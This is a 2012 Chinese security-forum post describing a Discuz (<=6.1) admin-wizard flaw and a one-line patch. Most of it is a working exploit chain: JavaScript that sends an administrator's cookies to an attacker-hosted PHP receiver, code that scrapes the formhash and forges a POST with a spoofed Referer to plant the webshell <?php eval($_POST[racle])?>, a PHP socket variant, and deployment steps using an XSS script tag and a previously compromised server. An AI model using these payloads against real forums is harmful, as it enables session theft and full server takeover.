找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3832|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell0 R  X7 h! g6 Z4 [& P7 M' m: A$ U
By racle @tian6.com
. t  V- f" P, e- K( G4 {7 `欢迎转帖.但请保留版权信息.5 ~- p0 F6 [  n/ ?
受影响版本iscuz<=6.1.0,gbk+utf+big5
6 e" ?3 ~! b! r3 P3 w+ {8 X* c% x9 H5 S0 ~* }: j
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.6 o4 g" B* V/ T& B$ u$ ^
3 r4 F/ k0 p5 m! [% T; S# M
/ o  o: I3 h7 D' o
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
5 l' |8 D: t1 P1 ?$ @2 a当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.2 W5 |  C7 P  y: |

1 F% L7 a! M1 c' @- Z分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
8 p/ x3 X* z1 t  h) w/ n5 C本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
- w9 X/ X- {) S2 ]+ Q, q1 C, p$ z, f) S( v1 t

3 L# |" V; M  R% b, C6 O0 Z----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------( K1 c, W' v" W5 X' H  L
0 t+ ^7 d+ L' Q( T! E, b; @
6 e9 x# _( e* `1 M1 e0 c
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交., ?5 E2 j6 X1 h% Y; c* n8 J
1 s. L2 S* q$ [, K! S0 h2 {
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
7 V; S" |5 g& H( [" f
( W% W% l: u. y) V( T& H) Qproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.4 G# I7 J. v5 p3 h

. b& J6 O2 U4 h
0 o. L. x7 o- ]' o; B下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
0 `( Y6 Q( O8 G- j6 f0 g( w0 D* J0 s/ U
        global $runwizardfile, $runwizardhistory;
4 t$ L9 ]- Y/ k! F7 `; V9 x
  q8 w+ _4 b. x9 T        $fp = fopen($runwizardfile, 'w');
: ~/ j- U# z' d! p0 \
. B5 l2 p  _2 f5 ~. g0 `0 _* Z) |        fwrite($fp, serialize($runwizardhistory));
* O* b$ B! C6 o( j3 z) q% q# b! w3 S# t1 f
        fclose($fp);; I) t# W9 @# D" u9 g' l- Q/ R
, ~9 E6 c6 V+ j: c8 X
}
/ M' U, ^( f* P; z* P& r5 E复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.( Y, I% J# K6 q, g. b
以下是修补的办法:function saverunwizardhistory() {' _9 t" ^, o& U5 x

( L4 a% X9 Q, t4 X        global $runwizardfile, $runwizardhistory;
) _! {2 A7 W, W! |3 ?- W7 U% n0 b, q# I7 d5 d2 ^; ~+ z3 a: w
        $fp = fopen($runwizardfile, 'w');
6 n. u# @! f  c* S4 b
. q& d- J. B- K* H; D6 s0 @/ V) m: L        $s = '<?php exit;?>';6 I2 r6 ^0 N9 Y! ~. _4 y1 |

( q- a- C& p5 c        $s .= serialize($runwizardhistory);
; U* Z0 v" W: [, E
* v; U. W, {$ k' a/ R& C& Z        fwrite($fp, $s);0 A: `3 P5 w6 c4 ^0 r7 Z# [% m* c

  J# S" f6 @% I4 F" p        fclose($fp);
5 b' f+ x7 Y$ c! P1 C: g- y: D! n5 Z* U+ j. }7 ~
}
; ~2 r. L- |6 T1 `6 J7 n9 S( z复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行." V* B& A8 r( }/ P( m: e1 s! b
, l( H( H! j7 K" p7 U' s
: h; f+ A1 O( ~$ ~

/ z7 _1 O  l  p  m9 d" e2 b  c0 R----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
4 F! V+ m+ E9 D# d/ o+ n3 f. _! {! L8 F3 O* l- d

1 k* ~0 C0 S, L! L# b" o  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.3 z  q, q1 F( C8 L5 e9 Q0 @
/ E) @9 c* C7 K% q
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.9 E! o! l# ^5 o) i3 Q- e

) l9 J8 b$ [, M! @, N: Y这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少./ o; P! ^, r! x( v8 [: p1 z
. E! c" s9 P+ F" Y4 _& v
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:6 C4 {9 Q- U5 j, E
5 j, w' ^* w: u6 o5 J1 v) e
var url="http://目标网站/admincp.php";      
* V) q# E: Q4 u9 s
) _- y+ Z; B5 T' C+ ^" y9 O3 L/ ?/*获得cookies*/; w3 p' R9 k* o% u, P+ d" f
+ g  c$ Q  p/ l. y" n0 }9 t
function getURL(s) {1 G: a( T# _2 Z/ _

9 F1 e; I0 e6 P- D8 N: Xvar image = new Image();
# y' ?6 |4 P( [8 w% o8 i) S- a) j3 F1 v5 y1 p  |* Y! ~3 r: K0 l; {9 s
image.style.width = 0;# ]0 r. f9 e& ~4 u, |) X! l

: x5 X6 w" ]/ c/ Ximage.style.height = 0;3 J( g* _$ R) b) v0 k

$ Y$ L) [% J# M/ T4 m+ G, cimage.src = s;8 [# D# F. @5 I, L% j

0 W9 s% r0 B* q, F. B6 \}
6 J- I0 s) k* K5 [- E2 y* J  D
- Y9 T: _5 s4 w$ {, N$ `- \% i& ugetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php6 M, o0 z& a4 n' t: i+ V* j
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
% Q9 R) K' ^8 k复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
1 E% D& k% {$ F/ T8 n% M' y' t$ R2 ]8 {2 P1 ?

# t# d1 ~( Y! ^. i获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
+ G2 O; o) n0 ?! ]( P& s( V
, D2 i+ P- I$ M- s. B5 y. U  I. r2 Q! U: k( \. [  C

) [& O& K! L9 E; ]% q) f; T" x* K/*hash*/+ H4 |" r* @0 N) o$ C9 _
+ ]3 C6 x$ V$ O/ Q
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");: U: g1 F+ q9 ?6 y" K2 l! y

8 t3 G$ A0 B; a9 E8 vxmlHttpReq.open("GET", url+"admincp.php?action=home", false);' r8 T7 P8 M$ r4 R0 v6 p

; _+ o# E( Z9 R1 JxmlHttpReq.send();
. l2 U4 a9 c  \$ N- g% b0 k
% m0 j% l  C; {5 i) |$ xvar resource = xmlHttpReq.responseText;
7 U% R* S, ^' f: Z: z" Q" A0 @
. ?# |( r  ]# W7 o1 f  Avar numero = resource.search(/formhash/);& y9 r4 b3 M1 p0 I# s2 c8 J' U9 i
# |& n' E$ X/ ~
var formhash=encodeURIComponent(resource.substr(numero+17,8));
& `5 {9 }" m. o: u% N# l. J: O* T& [3 g" G9 ~% ], h$ y3 r

3 L1 M3 ?: Y" r5 V: {' w, U: b, T2 d7 i5 ~
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
9 e; b2 T9 P# @0 i+ i( f6 @& _! v/ t1 `0 s' x% A, f1 J( D. v
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
: ]. p7 f$ `2 Z& m* {+ |+ [/ r! Z) G- f$ A) d! C) G6 F# o
xmlHttpReq.setRequestHeader("Referer", url);
0 I' F/ ~. r+ {! E
. {% c( H5 I: G/ H, C5 s( x( bxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");( L4 H) g+ x4 b( K3 l) H$ L

( Y4 k+ A4 F: J- L8 g, `& cxmlHttpReq.setrequestheader("content-length",post.length);
5 @6 {* \- w7 j9 n% P( p* W  M  B; A& q
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
  t) L8 g/ k4 |% Z
; ?; F( c5 O) `) O/ O- Y2 j0 H$ yxmlHttpReq.send(post);//发送数据$ [/ G; a, r% p' J( E- S! p4 c
复制代码这里HASH我假设正确,这样提交,也无须cookies+ y# R! q% x$ W
+ V  A4 d% D4 Z6 A+ C# M
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
7 R9 |- r: n# A9 v8 V' x; Z5 M8 W) {$ R: _. l3 r/ P
if (!$sock) die("$errstr ($errno)\n");# M" B- l7 Y: }. m& E$ ]+ C
: b& g8 Z* S! J( Q% T; F) b3 V
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
$ ~0 D6 c6 w, |, Y" a
) j- z0 \0 ?1 x7 E1 v7 Z# |# b6 Z7 w! o; {

- x% g0 E1 W2 Nfwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");) H+ z  q3 Z- r5 [9 l0 Z; G
5 x& S) B+ F5 k- b9 ?
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
4 c* j; e+ @* N6 p4 ^3 }. q3 [/ W5 @; |- `+ ~& l6 Q3 ]
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
2 n5 w& Y# r$ [5 v
1 ]' ~8 W  A$ n7 q  ^7 i& Rfwrite($sock, "Accept-Language: zh-cn\r\n");! h/ p( s. z& t0 l

: m9 r, j7 e+ L3 C- r8 W4 {fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");8 ~% O( N4 }- _, e
& r8 @# R) f& l
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");0 }0 ?8 I5 R, R4 Q* A" T
( y5 c: w4 ^' t9 T- _
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
# W& @6 q$ |4 S& G9 u: k# \( s' z- Z$ |3 v& V+ r
fwrite($sock, "Host: $url\r\n");
$ b4 Q. h/ v. r( G" a) ~: m" c( k% }0 t# a' O
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
: `7 e% V: \% x2 o. W7 ]' o: C( M, \0 e
5 |4 C' y, d2 P; C2 R. Wfwrite($sock, "Connection: Keep-Alive\r\n");
( W. x# J( }$ Y
. g7 S# S1 H5 }: L8 J# |fwrite($sock, "Cache-Control: no-cache\r\n");  t+ t8 C7 q4 a

$ ~! l4 L) [! _4 [3 V* B/ Ifwrite($sock, "Cookie:".$cookies."\r\n\r\n");
5 f1 k. H3 k/ C$ W0 N9 S& A6 Q" Y) ^2 p: p4 P8 J) T* p* ~
fwrite($sock, $data);+ u' @7 }% z4 u- B  ?3 p
& z' u) B3 x" R  P' J4 M; D) m
; P8 A$ {  O! K, v
' z  M* b/ U2 x: v# Z; [. U
$headers = "";
! m% H0 n8 w/ S
  f& F& O+ v! W& r/ Swhile ($str = trim(fgets($sock, 4096)))& x/ v) ~; V; Z$ @  h
6 m& t: j! B- c2 K, \2 S% q  p% O4 z
     $headers .= "$str\n";, q$ T! V8 n8 P3 I# s7 G7 ]

! y( D5 N& k1 wecho "\n";/ C2 c) i; S: ~

  d0 d; k, O7 |. x4 E, L/ j$body = "";0 Y3 e8 k" p3 f5 P

$ n6 x) j- R) c) T1 H5 t/ S& Rwhile (!feof($sock))) O% s0 K# c% }9 x) Q

2 Y6 m4 ]0 H7 M     $body .= fgets($sock, 4096);; K, m# P8 Z1 `( C' R+ ^+ [

! y. s) t$ \4 Ffclose($sock);6 P0 p, D1 s- h. @, x, F
) r1 _3 O& ]" V6 S
echo $body;* @7 Y6 G+ n7 s
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^# y8 b# d1 w# \* W: s5 R8 Z

+ ~7 k# P, r# Q( _
# L* E& a4 O% n. }, T-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------, S! n/ ?6 I" V1 C* w$ F4 H
( s, L* `) O3 v! p$ q/ b; g

3 F1 W0 o1 \# `% l3 r5 v1HP SOCKET利用方法首先打开racle.js8 y+ A% L2 }" f/ g
) I& [9 q# V" v
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
6 x" c% D; q2 X6 s4 z
. g' y1 W( ?0 A8 }) }+ q& s7 B7 v% o+ x. O
' T: Q6 M4 ^) r$ o
然后打开racle@tian6.php
& y1 J! ^  w3 Z3 _
( k$ N1 a# Q6 q! }, \4 a$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com: L: ?; e: t: @- i

0 a9 D) M3 F) W4 K2 M* E
8 _) ~0 K! k# M* k6 e5 k- A5 I! L
( y5 D& k, p/ I7 K$ ]0 [3 L如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:' A# T9 r( r0 S) m( }
8 I0 T. E) ^0 p2 j( ]
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
5 i* V0 [- P6 j8 J0 j1 r6 ~- J9 c5 G6 c8 J# ~+ y
: j5 r: i9 i2 D0 K* q9 n. v" |( v

( e( B# A' t( Y; |+ y# o( RgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
" c+ f/ n+ r5 U5 {) C$ p+ |复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.2 g& y* a  R( i3 E$ R3 `

, h  Q: i4 g% @, P* g% D, Y* J: \, n* N6 L! ~

1 H0 h% L# z/ |- @/ h如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
' x+ R1 @9 z9 |- g7 n. z* S6 L( q" @, b; z' J& d
var formhash=encodeURIComponent(resource.substr(numero+17,8));: j! w- [4 m  ~2 m
2 [7 ]9 ]( |& Z: T7 w: _$ \7 U
' t) W0 ^7 ?6 e3 T

- i3 j1 p3 L/ S+ {. j  Avar formhash=encodeURIComponent(resource.substr(numero+9,8));
7 u4 \  U! \) X/ E0 Z1 z3 g( C1 x" J; c复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.1 ~2 H2 K+ `, x8 P
+ B& ?/ ]6 z* q+ p) o) \
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
; {- I$ ]! K5 ^' E& M% E8 {
& C0 A' l, g% P0 q& S如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
7 J* ~" |9 z% c6 o" Q. K( g
% P; f/ @" R0 ^& H& ?8 {1 X不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
+ K& A- C# {0 v# S % c; W( g, l: v; Y! \3 `, ]& x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表